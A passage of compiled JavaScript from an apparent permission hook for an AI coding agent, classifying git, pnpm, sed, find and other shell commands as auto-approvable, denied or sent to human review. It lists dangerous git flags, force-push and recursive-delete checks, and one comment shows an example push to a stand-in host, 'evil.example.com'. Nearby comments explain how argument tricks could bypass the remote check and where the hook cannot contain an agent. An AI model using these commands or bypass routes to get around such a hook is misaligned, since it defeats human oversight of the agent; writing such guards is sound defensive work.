\"check-ignore\"\n]);\n/** Git subcommands that modify the working tree, index, or history. */\nconst GIT_WRITE_OPS = /* @__PURE__ */ new Set([\n \"push\",\n \"add\",\n \"commit\",\n \"reset\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"checkout\",\n \"switch\",\n \"stash\",\n \"tag\",\n \"revert\",\n \"clean\",\n \"rm\",\n \"mv\"\n]);\n/** Flags on git that enable arbitrary code execution */\nconst GIT_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"-c\",\n \"--exec-path\",\n \"--pager\",\n \"--upload-pack\",\n \"--receive-pack\"\n]);\n/** Git global flags that consume the next token as an argument. */\nconst GIT_FLAGS_WITH_ARG = /* @__PURE__ */ new Set([\n \"-C\",\n \"-c\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/** Extract the git subcommand (first non-flag token after \"git\"), skipping flag arguments. */\nfunction getGitSubcommand(tokens) {\n const args = tokens.slice(1);\n for (let i = 0; i < args.length; i++) {\n const t = args[i];\n if (GIT_FLAGS_WITH_ARG.has(t)) {\n i++;\n continue;\n }\n if (t.startsWith(\"-\")) continue;\n return t;\n }\n}\nfunction isGitReadOp(tokens) {\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\") || t.startsWith(\"--output=\")) return false;\n }\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n return stashAction === \"list\" || stashAction === void 0;\n }\n if (sub === \"remote\") {\n let actionIdx = tokens.indexOf(\"remote\") + 1;\n while (tokens[actionIdx] === \"-v\" || tokens[actionIdx] === \"--verbose\") actionIdx++;\n const remoteAction = tokens[actionIdx];\n return remoteAction === void 0 || remoteAction === \"-v\" || remoteAction === \"--verbose\" || remoteAction === \"show\" || remoteAction === \"get-url\";\n }\n return GIT_READ_OPS.has(sub);\n}\nfunction isGitWriteOp(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === \"list\" || stashAction === void 0) return false;\n }\n return GIT_WRITE_OPS.has(sub);\n}\n/** Safe stash actions that don't risk data loss. */\nconst STASH_SAFE_ACTIONS = /* @__PURE__ */ new Set([\n \"push\",\n \"pop\",\n \"apply\",\n \"show\"\n]);\n/**\n* Positional (non-flag) path arguments of a `git mv` command. The caller only\n* invokes this once the subcommand is known to be `mv`, so `mv` is present.\n* `git mv` flags (-f/--force, -k, -n/--dry-run, -v/--verbose) never consume a\n* separate argument, so every non-flag token after `mv` is a path.\n*/\nfunction gitMvPaths(tokens) {\n const mvIdx = tokens.indexOf(\"mv\");\n return tokens.slice(mvIdx + 1).filter((t) => !t.startsWith(\"-\"));\n}\n/**\n* Git write operations that are safe to auto-approve:\n* - `git add` — staging is trivially reversible\n* - `git checkout -b/-B` — branch creation\n* - `git switch -c/-C` — branch creation\n* - `git switch <branch>` — branch switching (switch only handles branches, unlike checkout)\n* - `git stash` / `git stash push|pop|apply|show` — reversible stash operations\n* - `git mv` — only when every path is a `.md` file under `docs/` (plan-lifecycle moves)\n*/\nfunction isGitSafeWriteOp(tokens, ctx) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n const subIdx = tokens.indexOf(sub);\n for (const t of tokens.slice(1, subIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return false;\n }\n if (sub === \"add\") return true;\n if (sub === \"mv\") {\n const GIT_MV_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\",\n \"-c\",\n \"--exec-path\"\n ]);\n if (tokens.some((t) => GIT_MV_UNSAFE_FLAGS.has(t) || t.startsWith(\"--exec-path=\"))) return false;\n const paths = gitMvPaths(tokens);\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n }\n if (sub === \"checkout\") return tokens.slice(tokens.indexOf(\"checkout\") + 1).some((t) => t === \"-b\" || t === \"-B\");\n if (sub === \"switch\") return true;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === void 0) return true;\n return STASH_SAFE_ACTIONS.has(stashAction);\n }\n if (sub === \"worktree\") {\n const worktreeAction = tokens[tokens.indexOf(\"worktree\") + 1];\n return worktreeAction === \"list\" || worktreeAction === \"add\";\n }\n return false;\n}\n/** Git subcommands eligible for the feature-branch auto-approval. */\nconst GIT_FEATURE_BRANCH_OPS = /* @__PURE__ */ new Set([\n \"commit\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"revert\",\n \"reset\"\n]);\n/** Global git flags that redirect the effective repository/work tree. */\nconst GIT_REPO_REDIRECT_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/**\n* True when:\n* 1. The git subcommand is in GIT_FEATURE_BRANCH_OPS;\n* 2. No global dangerous flag is present (config / executable injection);\n* 3. No repo-redirect flag is present (-C / --git-dir / --work-tree);\n* 4. No per-op injection flag is present (`rebase --exec` / `-x`);\n* 5. getCurrentBranch(ctx.cwd) is non-null AND not in the protected set.\n*\n* All five must hold. Any failure → return false and let the deny rules fire.\n*/\nfunction isGitFeatureBranchWrite(tokens, ctx) {\n const sub = getGitSubcommand(tokens);\n if (!sub || !GIT_FEATURE_BRANCH_OPS.has(sub)) return false;\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t)) return false;\n if (t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\")) return false;\n }\n for (const t of tokens.slice(1)) {\n if (GIT_REPO_REDIRECT_FLAGS.has(t)) return false;\n if (t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return false;\n }\n if (sub === \"rebase\") {\n for (const t of tokens.slice(1)) if (t === \"--exec\" || t === \"-x\" || t.startsWith(\"--exec=\")) return false;\n }\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return false;\n return !getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/** Push flags that move refs we never auto-approve: bulk, tags, deletes. */\nconst GIT_PUSH_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"--mirror\",\n \"--all\",\n \"--tags\",\n \"--follow-tags\",\n \"--delete\",\n \"-d\",\n \"--prune\"\n]);\n/**\n* Push-specific flags that redirect the destination or the remote-side helper\n* program independently of the positional remote/refspec parsing below.\n* `--repo` is equivalent to (and overrides) the positional <repository>\n* argument — `git push --repo=<url>` can push to an arbitrary host even with\n* zero positional args, bypassing the \"known remote\" check entirely.\n* `--receive-pack`/`--exec` tell git which program to invoke as the remote\n* helper; on local/dumb transports git runs that program directly, so this is\n* local code execution, not just a remote-side concern. All three are unlike\n* `-C`/`--git-dir`/`--work-tree` (GIT_REPO_REDIRECT_FLAGS) in that they are\n* push subcommand options, not global git flags, so they only need checking\n* after the subcommand — but the checking still has to happen.\n*/\nconst GIT_PUSH_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"--repo\",\n \"--receive-pack\",\n \"--exec\"\n]);\nconst GIT_PUSH_DANGEROUS_FLAG_PREFIXES = [\n \"--repo=\",\n \"--receive-pack=\",\n \"--exec=\"\n];\n/**\n* `-o`/`--push-option` send a string to the receiving hook — but the reason\n* they must be rejected here is parsing, not the hook side effect. Unlike\n* `--repo`/`--receive-pack`/`--exec` above, which only ever appear as\n* `--flag=value`, `-o`/`--push-option` take a *space-separated* value\n* (`-o origin https://evil.example.com/x.git HEAD`). Left unrejected, that\n* value token survives the `!t.startsWith(\"-\")` positional filter below and\n* is mistaken for the remote, silently shifting the real destination into\n* the refspec position — bypassing the \"known remote\" check in (5) entirely.\n* The `=` forms (`-o=value`, `--push-option=value`) aren't exploitable this\n* way (the URL stays a refspec and gets caught by the remote check), but are\n* rejected too rather than relying on that distinction holding up.\n*/\nconst GIT_PUSH_VALUE_FLAGS = /* @__PURE__ */ new Set([\"-o\", \"--push-option\"]);\nconst GIT_PUSH_VALUE_FLAG_PREFIXES = [\"-o=\", \"--push-option=\"];\n/**\n* The ref a refspec writes to. `src:dst` targets dst; a bare `ref` targets the\n* same name on the remote. Strips the leading \"+\" (force) — callers reject that\n* separately — and any `refs/heads/` prefix.\n*/\nfunction refspecDestination(refspec) {\n const spec = refspec.startsWith(\"+\") ? refspec.slice(1) : refspec;\n const colon = spec.lastIndexOf(\":\");\n return (colon === -1 ? spec : spec.slice(colon + 1)).replace(/^refs\\/heads\\//, \"\");\n}\n/**\n* Structural safety check shared by `isGitSafePush` and\n* `isGitPushWithoutExplicitRefspec`. Every condition must hold:\n*\n* 1. No global dangerous flag (config/exec injection) or repo-redirect flag.\n* 2. No bulk/tag/delete flag (GIT_PUSH_UNSAFE_FLAGS), no --repo /\n* --receive-pack / --exec (GIT_PUSH_DANGEROUS_FLAGS), and no -o /\n* --push-option (GIT_PUSH_VALUE_FLAGS) — these redirect the destination,\n* the remote-side helper, or (for -o) the positional parse itself\n* independently of the remote/refspec parsing below, so they must be\n* rejected up front.\n* 3. No refspec begins with \"+\" — a force-push the `--force` deny rule misses.\n* 4. Every refspec's *destination* is a non-protected branch, doesn't have\n* an empty source (\":branch\", the unflagged spelling of --delete/-d),\n* and isn't under refs/tags/ (the unflagged spelling of --tags). A\n* current-branch check alone would happily approve `git push origin\n* HEAD:main`.\n* 5. The remote, when named, is a configured remote — never a URL or path, so\n* the repo cannot be pushed to an arbitrary host.\n* 6. The current branch is known and not protected.\n*\n* Deliberately does NOT require a refspec to be present — an empty refspec\n* list (bare `git push` / `git push origin`) is structurally fine by these\n* six rules, it's just *ambiguous*: git resolves the actual destination from\n* push.default / branch.<x>.merge, config this hook does not (and, as of the\n* .git/ write deny rule, no longer needs to) trust. Callers decide what to do\n* with that ambiguity — `isGitSafePush` requires refspecs.length > 0;\n* `isGitPushWithoutExplicitRefspec` requires the opposite, so the `git-write`\n* deny rule can route the ambiguous case to passthrough instead of a hard deny.\n*\n* Returns the parsed refspec list on success, or `null` on any failure.\n*/\nfunction gitPushStructuralRefspecs(tokens, ctx) {\n if (getGitSubcommand(tokens) !== \"push\") return null;\n const pushIdx = tokens.indexOf(\"push\");\n for (const t of tokens.slice(1, pushIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return null;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return null;\n }\n const after = tokens.slice(pushIdx + 1);\n if (after.some((t) => GIT_PUSH_UNSAFE_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAG_PREFIXES.some((p) => t.startsWith(p)) || GIT_PUSH_VALUE_FLAGS.has(t) || GIT_PUSH_VALUE_FLAG_PREFIXES.some((p) => t.startsWith(p)))) return null;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return null;\n const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n if (protectedSet.has(current)) return null;\n const positional = after.filter((t) => !t.startsWith(\"-\"));\n const maybeRemote = positional[0];\n const refspecs = positional.slice(1);\n if (maybeRemote !== void 0 && !getRemotes(ctx.cwd).has(maybeRemote)) return null;\n for (const spec of refspecs) {\n if (spec.startsWith(\"+\")) return null;\n if (spec.startsWith(\":\")) return null;\n const dst = refspecDestination(spec);\n if (protectedSet.has(dst)) return null;\n if (dst.startsWith(\"refs/tags/\")) return null;\n }\n return refspecs;\n}\n/**\n* True when `git push` is safe to auto-approve: structurally safe (see\n* `gitPushStructuralRefspecs`) AND carries at least one explicit refspec\n* positional argument. Without one — bare `git push`, or `git push <remote>`\n* with no refspec — the destination comes from push.default /\n* branch.<x>.merge, which this rule does not resolve or trust; see\n* `isGitPushWithoutExplicitRefspec` for that case.\n*\n* `--force-with-lease` is deliberately permitted: it is the alternative the\n* `git-force-push` deny rule already points users at, and it is routine after a\n* rebase. `--force`/`-f` remain denied by that rule — even when\n* `--force-with-lease` also appears; the lease does not downgrade an\n* unconditional force (see `isGitForcePush`).\n*\n* The \"cannot push to an arbitrary host\" guarantee in condition 5 holds only\n* because writes into .git/ (which is where `remote.<name>.url` lives) are\n* denied at the file-tool and path-argument layers (`git-dir-write` in\n* file-rules.ts, the `targetsGitDir` check in `arePathArgsSafe`) — this\n* function only ever reads `getRemotes()`, it does not defend the state\n* `getRemotes()` reads from. An agent with un-gated filesystem write access\n* outside this hook (e.g. a tool this hook doesn't mediate) is not\n* containable by any of this.\n*/\nfunction isGitSafePush(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length > 0;\n}\n/**\n* True when `git push` is otherwise structurally safe (see\n* `gitPushStructuralRefspecs`) but carries no explicit refspec — the\n* ambiguous case `isGitSafePush` rejects. Used only to keep the `git-write`\n* deny rule from firing for this shape, so it falls through to passthrough\n* (normal human review) instead of a hard deny — the push isn't known-unsafe,\n* it's merely unresolved.\n*\n* A push that fails `gitPushStructuralRefspecs` for an actual reason\n* (protected branch, dangerous flag, unconfigured remote, ...) returns false\n* here too, so the `git-write` deny still fires for those.\n*/\nfunction isGitPushWithoutExplicitRefspec(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length === 0;\n}\n/** pnpm built-in subcommands (not user-defined scripts) */\nconst PNPM_BUILTINS = /* @__PURE__ */ new Set([\n \"install\",\n \"i\",\n \"add\",\n \"remove\",\n \"rm\",\n \"uninstall\",\n \"un\",\n \"update\",\n \"up\",\n \"upgrade\",\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"audit\",\n \"licenses\",\n \"init\",\n \"create\",\n \"link\",\n \"unlink\",\n \"pack\",\n \"publish\",\n \"config\",\n \"set\",\n \"get\",\n \"store\",\n \"cache\",\n \"rebuild\",\n \"rb\",\n \"prune\",\n \"dedupe\",\n \"dlx\",\n \"exec\",\n \"run\",\n \"patch\",\n \"patch-commit\",\n \"recursive\",\n \"-r\"\n]);\n/** Read-only pnpm commands that are always safe */\nconst PNPM_SAFE_BUILTINS = /* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\"\n]);\nfunction isPnpmSafe(tokens) {\n const subTokens = tokens.slice(1);\n let subcommand;\n for (const t of subTokens) {\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n subcommand = t;\n break;\n }\n if (!subcommand) return false;\n if (PNPM_SAFE_BUILTINS.has(subcommand)) return true;\n if (subcommand === \"install\" || subcommand === \"i\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).every((t) => t.startsWith(\"-\"));\n if (subcommand === \"store\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).find((t) => !t.startsWith(\"-\")) === \"status\";\n return false;\n}\nconst NPM_READ_OPS = /* @__PURE__ */ new Set([\n \"view\",\n \"info\",\n \"show\"\n]);\nfunction isNpmReadOp(tokens) {\n const sub = tokens[1];\n return sub !== void 0 && NPM_READ_OPS.has(sub);\n}\n/** Map npm subcommand to a pnpm redirect message */\nfunction getNpmRedirectReason(tokens) {\n const sub = tokens[1];\n const BASE = \"This project uses pnpm.\";\n if (!sub) return `${BASE} Use \\`pnpm\\` instead of npm.`;\n if (sub === \"install\" || sub === \"i\" || sub === \"ci\") {\n if (tokens.slice(2).some((t) => !t.startsWith(\"-\"))) return `${BASE} Use \\`pnpm add <pkg>\\` instead of \\`npm install <pkg>\\`.`;\n return `${BASE} Use \\`pnpm install\\` instead of npm.`;\n }\n if (sub === \"add\") return `${BASE} Use \\`pnpm add <pkg>\\` instead of npm.`;\n if (sub === \"uninstall\" || sub === \"remove\" || sub === \"rm\" || sub === \"un\" || sub === \"r\") return `${BASE} Use \\`pnpm remove <pkg>\\` instead of npm.`;\n if (sub === \"run\" || sub === \"run-script\") return `${BASE} Use \\`pnpm run <script>\\` or \\`pnpm <script>\\` instead of npm.`;\n if (sub === \"test\" || sub === \"t\" || sub === \"tst\") return `${BASE} Use \\`pnpm test\\` instead of npm.`;\n if (sub === \"start\") return `${BASE} Use \\`pnpm start\\` instead of npm.`;\n if (sub === \"stop\") return `${BASE} Use \\`pnpm stop\\` instead of npm.`;\n if (sub === \"restart\") return `${BASE} Use \\`pnpm restart\\` instead of npm.`;\n if (sub === \"exec\") return `${BASE} Use \\`pnpm exec <cmd>\\` instead of npm.`;\n if (sub === \"list\" || sub === \"ls\" || sub === \"ll\" || sub === \"la\") return `${BASE} Use \\`pnpm list\\` instead of npm.`;\n if (sub === \"why\") return `${BASE} Use \\`pnpm why\\` instead of npm.`;\n if (sub === \"outdated\") return `${BASE} Use \\`pnpm outdated\\` instead of npm.`;\n if (sub === \"audit\") return `${BASE} Use \\`pnpm audit\\` instead of npm.`;\n if (sub === \"update\" || sub === \"up\" || sub === \"upgrade\") return `${BASE} Use \\`pnpm update\\` instead of npm.`;\n if (sub === \"init\") return `${BASE} Use \\`pnpm init\\` instead of npm.`;\n if (sub === \"publish\") return `${BASE} Use \\`pnpm publish\\` instead of npm.`;\n if (sub === \"link\") return `${BASE} Use \\`pnpm link\\` instead of npm.`;\n if (sub === \"unlink\") return `${BASE} Use \\`pnpm unlink\\` instead of npm.`;\n if (sub === \"pack\") return `${BASE} Use \\`pnpm pack\\` instead of npm.`;\n if (sub === \"cache\") return `${BASE} Use \\`pnpm store\\` instead of \\`npm cache\\`.`;\n if (sub === \"config\" || sub === \"set\" || sub === \"get\") return `${BASE} Use \\`pnpm config\\` instead of npm.`;\n return `${BASE} Use the equivalent pnpm command instead of npm.`;\n}\n/**\n* Commands whose write destination is the *last* positional argument\n* (`cp src dst`, `mv src dst`, `rsync -a src/ dst/`, `install -m 755 src dst`,\n* `ln -f src dst`).\n*/\nconst LAST_POSITIONAL_DEST = /* @__PURE__ */ new Set([\n \"cp\",\n \"mv\",\n \"rsync\",\n \"install\",\n \"ln\"\n]);\n/** Commands where *every* positional is written to (`tee a b`, `truncate -s 0 f`). */\nconst ALL_POSITIONAL_DEST = /* @__PURE__ */ new Set([\"tee\", \"truncate\"]);\n/** `-t DIR` / `--target-directory[=DIR]` — an explicit destination directory. */\nfunction explicitTargetDirectory(rest) {\n for (const [i, t] of rest.entries()) {\n if (t === \"-t\" || t === \"--target-directory\") return rest[i + 1] ?? null;\n if (t.startsWith(\"--target-directory=\")) return t.slice(19);\n }\n return null;\n}\n/**\n* Destination paths named by shell redirects (`> f`, `>> f`, `2> f`, `>f`).\n*\n* Checked for *every* command, not just known write tools: the shell splitter\n* leaves redirect tokens inside the segment, so without this an unrecognized\n* command (`some-generator > node_modules/pkg/index.js`) would sail past a\n* command-keyed rule. Over-capture here is harmless — a bogus \"destination\"\n* like `&1` from `2>&1` simply doesn't resolve into node_modules.\n*/\nfunction redirectDestinations(tokens) {\n const dests = [];\n for (const [i, t] of tokens.entries()) {\n if (/^(?:\\d*|&)>{1,2}$/.test(t)) {\n const next = tokens[i + 1];\n if (next !== void 0) dests.push(next);\n continue;\n }\n const attached = /^(?:\\d*|&)>{1,2}(.+)$/.exec(t);\n if (attached?.[1] !== void 0) dests.push(attached[1]);\n }\n return dests;\n}\n/**\n* Every path this command would *write to*. Sources are deliberately excluded:\n* reading out of `node_modules` (`cat node_modules/pkg/package.json`,\n* `cp node_modules/pkg/README.md docs/`) is routine and stays allowed. Only the\n* destination side can corrupt anything.\n*/\nfunction writeDestinations(tokens) {\n const cmd = path.basename(tokens[0] ?? \"\");\n const rest = tokens.slice(1);\n const dests = redirectDestinations(tokens);\n if (cmd === \"dd\") dests.push(...rest.filter((t) => t.startsWith(\"of=\")).map((t) => t.slice(3)));\n else if (cmd === \"sed\") {\n if (rest.some((t) => t === \"--in-place\" || /^-[a-zA-Z]*i/.test(t))) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n } else if (ALL_POSITIONAL_DEST.has(cmd)) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n else if (LAST_POSITIONAL_DEST.has(cmd)) {\n if (cmd === \"cp\" && rest.includes(\"--remove-destination\")) return dests;\n const targetDir = explicitTargetDirectory(rest);\n if (targetDir !== null) dests.push(targetDir);\n else {\n const last = rest.findLast((t) => !t.startsWith(\"-\"));\n if (last !== void 0) dests.push(last);\n }\n }\n return dests;\n}\n/**\n* True when the command writes anything into a `node_modules/` tree.\n*\n* See `targetsNodeModules` for why this is a hard deny rather than a prompt:\n* `node_modules` is hardlinked into pnpm's global content-addressable store, so\n* an in-place overwrite silently corrupts that package for every project on the\n* machine — and the directory doing the writing looks perfectly fine afterward.\n* The 2026-07-13 store poisoning was exactly this, and it was *human-approved*\n* at the prompt, which is why a passthrough would not have stopped it.\n*/\nfunction writesIntoNodeModules(tokens, ctx) {\n return writeDestinations(tokens).some((d) => targetsNodeModules(d, ctx.cwd));\n}\n/** Shared by the `node-modules-write` deny rule and the early check in `evaluate.ts`. */\nconst NODE_MODULES_WRITE_REASON = \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, …) writes through the link and corrupts that package for every project on this machine — silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe — it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\";\nfunction arePathArgsSafe(tokens, ctx) {\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n if (path.basename(t).startsWith(\".\")) return false;\n if (t.startsWith(\"~/\") || t === \"~\") return false;\n if (targetsGitDir(t, ctx.cwd)) return false;\n if (!isWithin(ctx.cwd, resolveIn(ctx.cwd, t))) return false;\n }\n return true;\n}\nconst FIND_ALWAYS_DANGEROUS = /* @__PURE__ */ new Set([\n \"-ok\",\n \"-okdir\",\n \"-delete\",\n \"-fprint\",\n \"-fprint0\",\n \"-fprintf\",\n \"-fls\"\n]);\nconst FIND_EXEC_SAFE_COMMANDS = /* @__PURE__ */ new Set([\n \"cat\",\n \"head\",\n \"tail\",\n \"grep\",\n \"egrep\",\n \"fgrep\",\n \"ls\",\n \"wc\",\n \"file\",\n \"stat\",\n \"basename\",\n \"dirname\",\n \"realpath\",\n \"readlink\",\n \"sha256sum\",\n \"sha1sum\",\n \"md5sum\",\n \"echo\"\n]);\n/**\n* Extracts the command name from a `-exec` or `-execdir` block.\n* Returns the basename of the first token after `-exec`/`-execdir`,\n* or undefined if the block is malformed.\n*/\nfunction findExecCommand(tokens, startIdx) {\n const cmdToken = tokens[startIdx + 1];\n if (!cmdToken || cmdToken === \"{}\" || cmdToken === \";\" || cmdToken === \"+\") return void 0;\n return path.basename(cmdToken);\n}\nfunction isFindSafe(tokens) {\n for (let i = 0; i < tokens.length; i++) {\n const t = tokens[i];\n if (t === void 0) continue;\n if (FIND_ALWAYS_DANGEROUS.has(t)) return false;\n if (t === \"-exec\" || t === \"-execdir\") {\n const cmd = findExecCommand(tokens, i);\n if (!cmd || !FIND_EXEC_SAFE_COMMANDS.has(cmd)) return false;\n }\n }\n return true;\n}\nfunction isSortSafe(tokens) {\n return !tokens.includes(\"-o\") && !tokens.some((t) => t.startsWith(\"--output\"));\n}\nfunction isRmRecursive(tokens) {\n const rmIdx = tokens.findIndex((t) => path.basename(t) === \"rm\");\n if (rmIdx === -1) return false;\n const afterRm = tokens.slice(rmIdx + 1);\n const shortFlags = afterRm.filter((t) => t.startsWith(\"-\") && !t.startsWith(\"--\"));\n const longFlags = afterRm.filter((t) => t.startsWith(\"--\"));\n const hasRecursiveShort = shortFlags.some((f) => /[rR]/.test(f));\n const hasRecursiveLong = longFlags.includes(\"--recursive\");\n return hasRecursiveShort || hasRecursiveLong;\n}\nfunction isChmod777(tokens) {\n return tokens.some((t) => t === \"777\" || t === \"0777\");\n}\nfunction isGitForcePush(tokens) {\n const pushIdx = tokens.indexOf(\"push\");\n if (pushIdx === -1) return false;\n return tokens.slice(pushIdx + 1).some((t) => t === \"--force\" || t === \"-f\");\n}\nfunction isGitResetHardOnMain(tokens) {\n if (!(tokens.includes(\"reset\") && tokens.includes(\"--hard\"))) return false;\n if (tokens.some((t) => t === \"main\" || t === \"master\")) return true;\n const positionalArgs = tokens.filter((t) => t !== \"git\" && t !== \"reset\" && !t.startsWith(\"-\"));\n return positionalArgs.length === 0 || positionalArgs.includes(\"HEAD\");\n}\n/** bst subcommands that are safe to auto-approve (read-only or local-only). */\nconst BST_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\n \"checks:run\",\n \"hooks:audit\",\n \"hooks:sync\",\n \"docker:build\",\n \"docker:check\",\n \"repo:sync\",\n \"coverage:check\",\n \"coverage:summary\",\n \"coverage:status\",\n \"health:check\",\n \"health:summary\",\n \"health:status\",\n \"docs:check\",\n \"pr:create\",\n \"issue:view\",\n \"issue:list\",\n \"issue:download\"\n]);\n/**\n* Flags that disqualify an otherwise-safe bst subcommand from auto-approval.\n*\n* `issue:download` is a remote read whose local write is confined to --out, sanitized\n* to a basename, and never overwrites. `--force` is exactly the power to overwrite an\n* existing local file with remote-controlled bytes, so it prompts.\n*\n* Matching is deliberately conservative: any occurrence of the flag token anywhere in\n* the command (as a bare flag, `--flag=value`, after a `--` separator, or even as the\n* value of another flag) disqualifies. A flag that *might* be present is treated the\n* same as one that definitely is — fail closed rather than try to model citty's\n* argument parsing (positional vs. flag-value) here.\n*/\nconst BST_UNSAFE_FLAGS = { \"issue:download\": [\"--force\"] };\nfunction hasDisqualifyingFlag(sub, tokens) {\n const flags = BST_UNSAFE_FLAGS[sub];\n if (!flags) return false;\n return tokens.some((token) => flags.some((flag) => token === flag || token.startsWith(`${flag}=`)));\n}\nfunction isBstSafe(tokens) {\n const sub = tokens[1];\n if (!sub) return false;\n if (!BST_SAFE_SUBCOMMANDS.has(sub)) return false;\n return !hasDisqualifyingFlag(sub, tokens);\n}\n/** True when `token` resolves to a `.md` file inside the project's `docs/` directory. */\nfunction isDocsMarkdownPath(token, ctx) {\n if (token.startsWith(\"~\")) return false;\n if (!token.endsWith(\".md\")) return false;\n return isWithin(resolveIn(ctx.cwd, \"docs\"), resolveIn(ctx.cwd, token));\n}\n/** True when a plain `mv` only moves `.md` files within `docs/`. */\nfunction isMvDocsSafe(tokens, ctx) {\n const paths = [];\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n paths.push(t);\n }\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n}\n/** Short sed flags that take no argument and may be bundled (e.g. `-ne`). */\nconst SED_NOARG_SHORT_CHARS = /* @__PURE__ */ new Set([\n \"n\",\n \"E\",\n \"r\",\n \"s\",\n \"u\",\n \"z\"\n]);\n/** Long sed flags that take no argument (an optional `=value` is still self-contained). */\nconst SED_KNOWN_LONG_NOARG = /* @__PURE__ */ new Set([\n \"--quiet\",\n \"--silent\",\n \"--debug\",\n \"--follow-symlinks\",\n \"--in-place\",\n \"--posix\",\n \"--regexp-extended\",\n \"--separate\",\n \"--sandbox\",\n \"--unbuffered\",\n \"--null-data\",\n \"--help\",\n \"--version\"\n]);\n/**\n* True when `sed` targets only `.md` files under `docs/`.\n*\n* Parses sed's argument grammar enough to tell the script token from file\n* tokens: when neither `-e` nor `-f` is present the first positional is the\n* script, otherwise every positional is a file. Unknown or ambiguous flags\n* make the check bail (→ passthrough) rather than guess.\n*/\nfunction isSedDocsSafe(tokens, ctx) {\n let sawScriptOption = false;\n let skipNext = false;\n const positionals = [];\n for (const t of tokens.slice(1)) {\n if (skipNext) {\n skipNext = false;\n continue;\n }\n if (t === \"-\" || !t.startsWith(\"-\")) {\n positionals.push(t);\n continue;\n }\n if (t.startsWith(\"--\")) {\n const eq = t.indexOf(\"=\");\n const base = eq === -1 ? t : t.slice(0, eq);\n if (base === \"--expression\" || base === \"--file\") {\n sawScriptOption = true;\n if (eq === -1) skipNext = true;\n continue;\n }\n if (base === \"--line-length\") {\n if (eq === -1) skipNext = true;\n continue;\n }\n if (SED_KNOWN_LONG_NOARG.has(base)) continue;\n return false;\n }\n const body = t.slice(1);\n for (let c = 0; c < body.length; c++) {\n const ch = body[c];\n if (ch === \"i\") break;\n if (ch === \"e\" || ch === \"f\") {\n sawScriptOption = true;\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (ch === \"l\") {\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (!SED_NOARG_SHORT_CHARS.has(ch)) return false;\n }\n }\n const files = sawScriptOption ? positionals : positionals.slice(1);\n return files.length > 0 && 